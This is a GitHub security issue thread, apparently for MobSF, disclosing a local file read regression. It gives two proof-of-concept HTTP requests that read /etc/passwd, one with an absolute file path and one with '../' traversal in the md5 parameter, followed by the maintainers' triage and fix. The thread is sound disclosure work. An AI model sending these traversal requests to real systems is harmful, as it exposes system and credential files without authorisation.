[Security] Local file reading regression < 3.0.0

[legik]

ENVIRONMENT

Docker latest version

EXPLANATION OF THE ISSUE

It is possible to read any file on the system.

STEPS TO REPRODUCE THE ISSUE

1st poc (specify absolute path):

GET /ViewFile/?file=/etc/passwd&md5=376a1470cd79dc44a96615337c5b51c2&type=ios HTTP/1.1
Host: 0.0.0.0:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3971.0 Safari/537.36 autochrome/blue
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

2nd poc (specify path instead of real md5):

GET /ViewFile/?file=etc/passwd&md5=../../../../../../../../../..///&type=ios HTTP/1.1
Host: 0.0.0.0:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3971.0 Safari/537.36 autochrome/blue
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

[ajinabraham]

Thanks for reporting we are taking a look at this.

[ajinabraham]

@magaofei Why is this not respected?
https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/master/StaticAnalyzer/forms.py#L81

[ajinabraham]

@legik We have checks in code but for some reason thats not respected. Looking into the root cause.

[ajinabraham]

@magaofei It looks like clean_hash function is not getting called.

[ajinabraham]

Fixed in latest master.